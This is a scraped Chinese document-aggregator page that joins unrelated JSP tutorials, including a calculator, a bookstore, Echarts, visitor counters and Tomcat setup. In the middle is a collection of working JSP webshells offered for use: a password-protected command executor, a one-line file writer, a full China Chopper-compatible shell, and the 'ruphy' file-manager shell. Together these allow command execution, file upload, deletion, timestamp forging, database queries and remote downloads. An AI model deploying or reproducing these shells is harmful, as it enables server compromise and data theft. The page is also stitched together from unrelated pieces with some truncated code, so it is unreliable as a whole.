jsp简单例子
- 格式:doc
- 大小:59.50 KB
- 文档页数:12
jsp应用练习题JSP(JavaServer Pages)是一种用于开发动态Web页面的Java技术。
它通过嵌入Java代码在HTML页面中实现动态内容的展示和交互。
本文将介绍几个JSP应用练习题,帮助读者巩固和提升对JSP的理解和应用。
一、计算器应用计算器是常见的Web应用之一,我们可以通过JSP实现一个简易的计算器。
首先,创建一个名为"calculator.jsp"的文件,并在其中编写以下代码:```jsp<%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPE html><html><head><title>计算器</title></head><body><form method="post" action="calculator.jsp"><input type="text" name="num1" placeholder="请输入第一个数字"><select name="operator"><option value="+">+</option><option value="-">-</option><option value="*">*</option><option value="/">/</option></select><input type="text" name="num2" placeholder="请输入第二个数字"><input type="submit" value="计算"></form><%// 获取表单数据int num1 = Integer.parseInt(request.getParameter("num1"));int num2 = Integer.parseInt(request.getParameter("num2"));String operator = request.getParameter("operator");// 计算结果int result = 0;switch (operator) {case "+":result = num1 + num2;break;case "-":result = num1 - num2;break;case "*":result = num1 * num2;break;case "/":result = num1 / num2;break;}// 显示结果out.println("<h2>计算结果:" + result + "</h2>"); %></body></html>```在上述代码中,我们创建了一个包含两个文本输入框和一个下拉菜单的表单。
⼀句话⽊马:JSP篇JSP⼀句话收集:1、带密码的回显cmd马<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami2、⼀句话<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>在浏览器地址栏输⼊http://192.168.125.138:8080/222.jsp?f=1.txt&t=hello123123然后再输⼊http://127.0.0.1:8080/test/1.txt3、jsp⼀句话,菜⼑可直连<%@page import="java.io.*,java.util.*,.*,java.sql.*,java.text.*"%><%!String Pwd = "pass";String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%><%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + ""; request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());%>View Code4、⼩马,上传?p=ruphy&f=<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.*" contentType="text/html; charset=UTF-8" %><%@page import="ng.StringBuilder" contentType="text/html; charset=UTF-8" %> <%@page import=".URLDecoder" contentType="text/html; charset=UTF-8" %> <%!void recursionZip(ZipOutputStream zipOut, File file, String baseDir) throws Exception { if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {recursionZip(zipOut, fileSec, baseDir + file.getName() + File.separator);}} else {byte[] buf = new byte[1024];InputStream input = new FileInputStream(file);zipOut.putNextEntry(new ZipEntry(baseDir + file.getName()));System.out.println(file + "压缩成功!");int len;while ((len = input.read(buf)) != -1) {zipOut.write(buf, 0, len);}input.close();}}boolean zip(String filepath, String zipPath) {try {File file = new File(filepath);// 要被压缩的⽂件夹File zipFile = new File(zipPath);ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(zipFile));if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {if (!fileSec.getAbsolutePath().equals(zipFile.getAbsolutePath()))recursionZip(zipOut, fileSec, file.getName() + File.separator);}} else {recursionZip(zipOut, file, "");}zipOut.close();} catch (Exception e) {return false;}return true;}void copyStream(final InputStream[] ins, final JspWriter out) {for (final InputStream in : ins) {new Thread(new Runnable() {// @Override 不兼容低版本public void run() {if (in == null) return;try {int a = -1;byte[] b = new byte[2048];while ((a = in.read(b)) != -1) {out.println(new String(b));}} catch (Exception e) {} finally {try {if (in != null) in.close();} catch (Exception ec) {}}}}).start();}}String uploadFile(DataInputStream is, String path, int size, String sp) throws IOException {if (size > 20 * 1024 * 1024) {return"上传失败,⽂件太⼤!";}byte bts[] = new byte[size];int br = 0;int tbr = 0;//上传的数据保存在byte数组⾥⾯while (tbr < size) {br = is.read(bts, tbr, size);tbr += br;}String file = new String(bts, "utf-8");String sf = file.substring(file.indexOf("filename=\"") + 10);sf = sf.substring(0, sf.indexOf("\n")).replaceAll("/\\+", "/");sf = sf.substring(stIndexOf("/") + 1, sf.indexOf("\""));String fileName = path + "/" + sf;int pos;pos = file.indexOf("filename = \"");pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;int bl = file.indexOf(sp, pos) - 4;//取得⽂件数据的开始的位置int startPos = ((file.substring(0, pos)).getBytes()).length;int endPos = ((file.substring(0, bl)).getBytes()).length;File checkFile = new File(fileName);if (checkFile.exists()) {checkFile.delete();}FileOutputStream fileOut = new FileOutputStream(fileName);fileOut.write(bts, startPos, (endPos - startPos));fileOut.close();return sf + "⽂件上传成功!";}String getCurrentPath(String file, String p, String url) throws IOException {String path = "";String tmpFile = file.replaceAll("/[^/]+/?$", "/");while (!file.equals(tmpFile)) {path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file.replaceAll(tmpFile, "") + "</a>" + path;file = tmpFile;tmpFile = file.replaceAll("/[^/]+/?$", "/");}path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file + "</a>" + path;return path;}%><%//验证⽤户名String dp = "ruphy";response.setCharacterEncoding("UTF-8");String url = request.getRequestURL().toString();String p = request.getParameter("p");if (!dp.equals(p)) {if (!"true".equals(request.getParameter("c"))) {out.println("<div style='text-align: center;'>访问失败!<span style='color: red'>密码错误!</span></div>");out.println("<div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "?p=passwd&f=path' >" + url + "?p=passwd&f=path</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div>");}return;}String m = request.getParameter("m");if (m != null && !"".equals(m.trim())) {out.println("开始执⾏命令: " + m);out.flush();String[] cmds = new String[]{"sh", "-c", m};if (System.getProperty("").toLowerCase().contains("windows")) {cmds = new String[]{"cmd", "/k", m};}Process ps = null;out.print("<xmp>");try {ps = Runtime.getRuntime().exec(cmds);copyStream(new InputStream[]{ps.getInputStream(), ps.getErrorStream()}, out);ps.getOutputStream().close();ps.waitFor();} catch (Exception e) {out.println("<div>执⾏命令 " + m + " 发⽣错误!</div>");} finally {try {if (ps != null) ps.destroy();} catch (Exception ec) {out.println("关闭流出错!");}}out.println("</xmp>");out.println("<div>执⾏命令: " + m + " 完成!</div>");return;}String fn = request.getParameter("f");if (fn == null || "".equals(fn.trim())) {fn = application.getRealPath("/");}String f = fn.replaceAll("\\\\+", "/").replaceAll("/+", "/");String ct = request.getContentType();if (ct != null && ct.indexOf("multipart/form-data") >= 0) {DataInputStream is = new DataInputStream(request.getInputStream());String msg = uploadFile(is, f, request.getContentLength(), ct.substring(stIndexOf("=") + 1, ct.length()));out.println("<script>alert('" + msg + "');location.href='" + url + "?p=" + dp + "&f=" + f + "';</script>");return;}File file = new File(f);if (!file.exists()) {out.println("<script>alert('输⼊⽬录或者⽂件不存在!')</script>");}if ("true".equals(request.getParameter("t")) && file.exists()) {if (zip(f, new File(f).getAbsolutePath() + ".zip")) {out.println("<script>alert('压缩成功!');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('压缩失败');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (file.isDirectory() && file.canRead()) {StringBuilder sb = new StringBuilder();File[] files = File.listRoots();String roots = "";for (int i = 0; i < files.length; i++) {roots += "<a style=\"margin-left: 10px;\" href=\"" + url + "?p=" + dp + "&f=" + files[i].getPath().replaceAll("\\\\+", "/") + "/\">" + files[i].getPath() + "</a>";}sb.append("<div><div>");sb.append("<div style='margin: 10px 0 0 20px'><form action=" + url + "?p=" + dp + "&f=" + f + " method='post' enctype='multipart/form-data'>⽂件上传: <input name='fileName' type='file'><input onclick='return confirm(\"上传到当前⽬录:sb.append("</div><div style='margin: 5px 0 20px 20px'><span>根⽬录:" + roots + "</span><span style=\"margin-left: 20px;\">当前⽬录:" + getCurrentPath(f, dp, url) + "</span>"+ "<span style=\"margin-left: 20px;\" ><a href=\"" + url + "?p=" + dp + "&f=" + f.replaceAll("/[^/]+/?$", "/") + "\">返回上级⽬录</a></span>"+ "</div>");sb.append("<div style='max-height: 400px; overflow: auto; background-color: #ffe;'><table><tbody>");files = file.listFiles();for (int i = 0; i < files.length; i++) {if (files[i].canRead()) {sb.append("<tr>"+ "<td><a style=\"margin-left: 20px;\" href='" + url + "?p=" + dp + "&f=" + f + "/" + files[i].getName() + "'>" + files[i].getName() + "</a></td>"+ "<td><a style=\"margin-left: 20px;\" onclick='return confirm(\"确定删除吗?\")' href=\"" + url + "?p=" + dp + "&r=true&f=" + f + "/" + files[i].getName() + "\">删除</a></td>"+ (!files[i].isFile() ? "<td></td>" : "<td><a style=\"margin-left: 20px;\" onclick=\"top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&v=true&w=true&f=" + f + "/" + files[i].getName() + "');\" href=\"#\">查 + "<td><a style=\"margin-left: 20px;\" href=\"" + url + "?p=" + dp + "&t=true&f=" + f + "/" + files[i].getName() + "\">压缩</a>"+ "<span style=\"margin-left: 20px\">" + files[i].length() / 1024 + "KB(" + files[i].length() / 1024 / 1024 + "MB)</span></td>"+ "</tr>");}}sb.append("</tbody></table></div></div>");sb.append("<div style='background-color: #ccc;'>");sb.append("<div style='margin: 20px'>虚拟终端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>"+ "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&m=' + encodeURIComponent(m));\" href=\"#\ + "</div>");sb.append("<div style='margin-top: 20px; padding: 5px; height: 600px;max-height: 100%'>"+ "<iframe id='view-file' src='" + url + "?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>"+ "</div>");sb.append("</div>");out.println(sb.toString());out.println("<div><div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "' >" + url + "?p=passwd</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div></div>");sb.append("</div>");return;}if ("true".equals(request.getParameter("r"))) {if (file.delete()) {out.println("<script>alert('删除成功!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('删除失败!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (!"true".equals(request.getParameter("v"))) {response.setContentType("application/octet-stream");response.setHeader("Content-Disposition", "attachment; filename=" + f.replaceAll(".+/+", "").replace("", "_"));} else if (file.length() > 1024 * 1024 * 10) {out.println("⽂件太⼤,请下载查看!");return;}String ctt = java.nio.file.Files.probeContentType(file.toPath());ctt = ctt == null ? "others" : ctt.replaceAll("\\/+.*", "");if ("true".equals(request.getParameter("w"))) {String u = url + "?p=ruphy&v=true&l=true&f=" + f;if ("video".equals(ctt)) {out.println("<div style='width: 800px'><video style='margin-top: 5px; width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("audio".equals(ctt)) {out.println("<div style='width: 300px'><audio style='width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("image".equals(ctt)) {out.println("<div style='width: 600px'><img style='margin-top: 5px; width:100%;' alt='⾮图⽚' src='" + u + "'/></div>");return;}}if ("true".equals(request.getParameter("l"))) {OutputStream streamOut = response.getOutputStream();InputStream streamIn = new FileInputStream(file);int length = streamIn.available();int bytesRead = 0;byte[] buffer = new byte[1024];while ((bytesRead = streamIn.read(buffer, 0, 1024)) != -1) { streamOut.write(buffer, 0, bytesRead);}response.flushBuffer();streamIn.close();streamOut.close();return;}FileInputStream fis = new FileInputStream(file);InputStreamReader isr = new InputStreamReader(fis, "UTF-8"); BufferedReader br = new BufferedReader(isr);StringBuilder sb = new StringBuilder();sb.append("<xmp>\n");String line = null;while ((line = br.readLine()) != null) {sb.append(line);sb.append("\n");}sb.append("</xmp>");out.println(sb.toString());fis.close();isr.close();br.close();%>View Code。
完整的简单jsp网上书店详细实例计算机web编程jsp毕业论文、考试复习资料必备其中包括的详细需求、业务分析、数据库、源代码我们使用JSP和Java Bean来构建一个网上书店。
介绍的例子可以分成两大部分,第一部分是普通程序,用于客户在网上选购图书,第二部分是管理程序,用于在服务器端处理客户的定单。
客户端程序由以下几个部分构成:default.jsp:会员登录界面(首页);checklogon.jsp:检测登录代码和密码是否一致,根据由JavaBean返回的结果显示不同的信息。
BuyerBean:会员的合法性检验所用的Bean;booklist.jsp:给登录会员显示当前书店中可供选择的图书;addcart.jsp:将所选的图书加入购物车;shoppingcart.jsp:查看购物车的内容;本例的数据库采用Access(.MDB数据库),对数据库的访问采用便于理解的JDBC-ODBC方式,在使用本例前先在本地数据库建立一个ODBC数据源:bookstore。
设置步骤如下:(1)在开始->设置->控制面版(Win98、NT4.0)中选取“数据源(ODBC)”;在Win 2000 Professional和Server中分别位于“开始->设置->控制面版->管理工具”和“开始->程序->管理工具”下。
(2)启动“数据源(ODBC)”配置程序,界面如图15-1所示。
图15-1 ODBC数据源管理界面(3)在图15-1中“系统DSN”选项下单击“添加”按钮,来添加一个系统的数据源(DSN),则出现如图15-2所示数据源驱动程序选择界面:图15-2 数据源驱动程序选择界面(4)在图15-2中选择“Microsoft Access Driver (*.mdb)”单击“完成”加载Access数据库的驱动,则出现如图15-3所示数据库ODBC安装界面:图15-3 数据库ODBC安装界面(5)在图15-3中单击“选择(S)…”按钮,启动一个类似资源管理器的界面来选择数据库,如图15-4所示,在图15-4所示的界面中选择bookstore.mdb。
JSP使⽤Echarts的最简单的例⼦Echarts是百度的页⾯图表框架,使⽤其稍作配置就能在web上整出漂亮的图表。
本篇⽂章简单的介绍⼀下“JSP使⽤Echarts的最简单的例⼦“,例⼦图如下关于echarts详细资料可以看这⾥:/index.html图表显⽰是需要数据的,但是其官⽹教程中为了演⽰⽅便直接在页⾯js中填⼊数据,如下⾯链接所⽰,周⼀、周⼆等数据都是在页⾯直接写好:/doc/example/line1.htmlxAxis : [{type : 'category',boundaryGap : false,data : ['周⼀','周⼆','周三','周四','周五','周六','周⽇']}]⽽我们更经常的要做的操作是从远程服务器将数据取出,放⼊图表。
熟悉ajax的⼈,⾃然可以将上⾯的代码少做修改,但⽹上的例⼦太少,我这边简单贴⼀下页⾯端参考代码:[html]1. <%@ page language="java" contentType="text/html; charset=UTF-8"2. pageEncoding="UTF-8"%>3. <!DOCTYPE html>4. <html>5. <head>6. <meta charset="utf-8">7. <!-- 引⼊ ECharts ⽂件 -->8. <script src="js/echarts3/mon.min.js"></script>9. <script type="text/javascript"10. src="${pageContext.request.contextPath}/js/jquery-3.2.1.js"></script>11. </head>12.13. <body>14. <!-- 为 ECharts 准备⼀个具备⼤⼩(宽⾼)的 DOM -->15. <div id="main" style="width: 600px; height: 400px;"></div>16. <script type="text/javascript">17. // 基于准备好的dom,初始化echarts实例18. var myChart = echarts.init(document.getElementById('main'));19. var url = '${pageContext.request.contextPath}/GetAllDataServlet';20. $.getJSON(url).done(function(json) {21. // 2.获取数据22. salesVolume = json.salesVolume;//销量23. bussinessVolume = json.bussinessVolume;//营业额24. months = json.months;//⽉份25.26. // 3.更新图表myChart的数据27. var option = {28. title : {29. text : 'ECharts ⼊门⽰例'30. },31. tooltip : {},32. legend : {33. data : [ '销量' ],34. data : [ '营业额' ]35. },36. xAxis : {37. data : months38. },39. yAxis : {},40. series : [ {41. name : '销量',42. type : 'bar',43. data : salesVolume44. }, {45. name : '营业额',46. type : 'line',47. data : bussinessVolume48. } ],49. toolbox : {50. show : true,51. feature : {52. mark : {53. show : true54. },55. dataView : {56. show : true,57. readOnly : false58. },59. magicType : {60. show : true,61. type : [ 'line', 'bar' ]62. },63. restore : {64. show : true65. },66. saveAsImage : {67. show : true68. }69. }70. },71. }72. myChart.setOption(option);73. })74. </script>75.76. </body>77.78. </html>服务器端参考代码:[java]1. @WebServlet("/GetAllDataServlet")2. public class GetAllDataServlet extends HttpServlet {3. private static final long serialVersionUID = 1L;4.5. public GetAllDataServlet() {6. super();7. }8.9. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {10. /*销量*/11. Integer[] salesVolume = {10,100,20,56,35,80};12. /*营业额*/13. double[] bussinessVolume = {10*10,100*8.5,20*9.5,56*9,35*9.5,80*9};14. /*横轴, ⽉份数据*/15. String[] months = {"1","2","3","4","5","6"};16.17. Map<String, Object> map = new HashMap<>();18. map.put("salesVolume", salesVolume);19. map.put("bussinessVolume",bussinessVolume);20. map.put("months", months);21.22. response.getWriter().println(JSON.toJSONString(map));23.24. }25.26. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {27. doGet(request, response);28. }29.30. }使⽤了FastJson⽣成json字符串,格式形如:[html]1. {"bussinessVolume":[100.0,850.0,190.0,504.0,332.5,720.0],"months":["1","2","3","4","5","6"],"salesVolume":[10,100,20,56,35,80]}其他:实际上你也可以不⽤json⼯具,完全⾃⼰⼿写得到上述格式化字符串。
公务员管理管理系统的详细设计说明书1、项目背景a. 待开发软件系统的名称;b. 出此项目的任务提出者、开发者、用户。
2、定义列出本文件中用到的专门术语的定义和外文首字母组词的原词组。
3、参考资料列出有关的参考文件,如:a. 本项目的经核准的计划任务书或合同,上级机关的批文;b. 属于本项目的其他已发表文件;c. 本文件中各处引用的文件、资料,包括所要用到的软件开发标准。
列出这些文件的标题、文件编号、发表日期和出版单位,说明能够得到这些文件资料的来源。
以下我们以一二个小的单元做为例子。
讲述编写程序系统详细说明书程序系统的结构⏹B0501F01 增加数据,新增单位⏹B0501F02 删除数据,减少单位信息(非物理删除)⏹B0501F03 修改数据,减少恢复单位⏹B0501F04 修改数据,修改单位信息一、B0501F011 功能流图1.1 功能流图需要说明的问题:1.录入项检测使用javascript实现(各项必须非空)2.操作权限:市处系统管理员。
1.2 功能描述1.功能类型新增数据(√)修改/删除数据() 查询数据() 其他()_____________2.功能概述:增加市处或各区县劳动和社会保障局。
3.前提业务:无4.后继业务:减少单位(B0501F02),已减少单位恢复(B0501F03),修改单位信息(B0501F04),5.功能约束:时间约束()权限约束(√) 其他约束() 没有约束()6.约束描述:操作权限:市处系统管理员。
2 界面说明2.1 基本信息处理页A03A01 A02以下是动作说明:3 数据要求3.1 功能类型:数据增加3.2 数据描述页面显示录入字段:二、B0501F021 功能流图B0501F02功能流程图需要说明的问题:3. 减少单位时需要先查询此单位中是否还有公务员,如有,则不允许对此单位做减少操作;如无,则可以减少此单位。
4. 为了便于以后的恢复操作,此减少单位的操作只在表中做一减少标志,并不真正删除。
<%@ page contentType=”text/html;charset=GB2312”%><html><body bgcolor=cyan><font size=1><%!int i=0;%><%i++;%><p>您是第<%=i%>个访问本站的客户。
</body></html><%@ page contentType=”text/html;charset=GB2312”%><html><body bgcolor=cyan><font size=1><%!Integer number=new Integer(0);%><%synchronized(number){int i=number.intValue();i++;number=new Integer(i);}%><p>您是第<%=i%>个访问本站的客户。
</body></html><%@ page contentType="text/html;charset=GB2312" %> <HTML><BODY><%! int number=0;synchronized void countPeople(){ number++;}%><% countPeople(); // 在程序片中调用方法。
%><P><P>您是第<%=number%>个访问本站的客户。
</BODY></HTML><%@ page contentType="text/html;charset=GB2312" %> <%@ page import="java.io.*" %><HTML><BODY BGCOLOR=cyan><FONT Size=1><%! int number=0;synchronized void countPeople()// 计算访问次数的同步方法{if(number==0){try{FileInputStream in=new FileInputStream("count.txt"); DataInputStream dataIn=new DataInputStream(in);number=dataIn.readInt();number++;in.close();dataIn.close();}catch(FileNotFoundException e){ number++;try {FileOutputStream out=newFileOutputStream("count.txt");DataOutputStream dataOut=newDataOutputStream(out);dataOut.writeInt(number);out.close();dataOut.close();}catch(IOException ee){}}catch(IOException ee){}}else{number++;try{FileOutputStream out=new FileOutputStream("count.txt"); DataOutputStream dataOut=new DataOutputStream(out); dataOut.writeInt(number);out.close();dataOut.close();}catch(FileNotFoundException e){}catch(IOException e){}}}%><%countPeople();%><P><P>您是第<%=number%>个访问本站的客户。
上机一 WEB 应用开发环境配置内容:搭建JSP工作环境,主要包括Java JDK的安装、Tomcat服务器的安装和构建班级论坛的第一个JSP的index.jsp首页面。
1. 安装JDK的步骤如下找到jdk-6-windows-i586.exe 运行安装程序,设定安装路径为D:\学习软件\jdk1.6.0, 其余接受默认安装。
安装结束后就要配置环境变量,包括java_home,path和classpath的设置,操作步骤如下:1)用鼠标右击“我的电脑”,选择“属性”,→“高级”→“环境变量”→“系统变量”→“新建”→在“变量名”输入框中写入“java_home”,在“变量值”输入框中写入“D:\学习软件\jdk1.6.0”→点击“确定”。
2)选中“系统变量”查看是否有classpath项目,如果没有就点击“新建”,→如果已经存在就选中classpath选项,→点击“编辑”按钮,→然后在“变量名”中填写“classpath”,→在“变量值”中填写“.;D:\学习软件\jdk1.6.0\lib;D:学习软件\jdk1.6.0\jre\lib”。
在“path”设定时,“变量名”输入框填写“path”,“变量值”输入框填写“D:\学习软件:\jdk1.6.0\bin”3)打开命令提示符窗口,输入命令“java -version”,看到Java版本的信息,确定安装完成。
2. 安装Tomcat6步骤如下将apache-tomcat-6.0.18.zip从磁盘中解压到D:\学习软件盘符下在D:\学习软件\apache-tomcat-6.0.18\bin目录下双击“startup.bat”启动服务器,双击“shutdown.bat”关闭服务器。
在环境变量中添加“变量名”为“tomcat_home”,“变量值”为“D:\学习软件\apache-tomcat-6.0.18”的设定。
在启动服务器后,打开浏览器,在地址栏输入http://localhost:8080查看,如出现主页,则表示安装成功。
图片环形旋转<html><head><title>图片环形滚动</title><style>html,body{background:#990000;margin:0px; } #pics_3d{position:absolute;height:300px;width:100%;background:#000;top:120px;border-bottom:20px solid #420000;border-top:20px solid #420000;}img{position:absolute;background:#eee;left:0;top:0;border:5px solid #00CCFF;}</style></head><body><div id="pics_3d"><img src="/jscss/demoimg/wall5.jpg" /><img src="/jscss/demoimg/wall6.jpg" /><img src="/jscss/demoimg/wall7.jpg" /> </div></body><script >Item=function(UI){this.angle=0;this.UI=UI;this.update();};Item.ini={axle_w:400,axle_h:10,cen_x:500,cen_y:260};Item.prototype.update=function(){var J=this.UI.style,C=Item.ini,W=C.axle_w,H=C.axle_h,X=C.cen_x,Y=C.cen_y; var angle=this.angle/180*Math.PI;var left=Math.cos(angle)*W+X;var top=Math.sin(angle)*H+Y;var A=this.angle>270?this.angle-360:this.angle;var size=360-Math.abs(90-A)*3;this.UI.width=Math.max(size,120);var opacity=Math.max(10,size-180);J.filter='alpha(opacity='+opacity+')';J.opacity=opacity/100;J.left=(left-this.UI.offsetWidth/2)+'px';top=(top-this.UI.offsetHeight)+'px';J.top=top;J.zIndex=parseInt(size*100);};Nav_3D={items:[],dir:1,index:0,hover:false,add:function(item){this.items.push(item);item.index=this.items.length-1;item.UI.onclick=function (){var J=item.angle,M=Nav_3D;if(M.uping)return;if(J==90){return alert('goto new url..')};M.wheel_90(item);M.index=item.index;};item.UI.onmouseover=function (){if(item.angle==90){Nav_3D.hover=true;clearTimeout(Nav_3D.autoTimer);};};item.UI.onmouseout=function (){if(item.angle==90){Nav_3D.hover=false;Nav_3D.auto();};};return 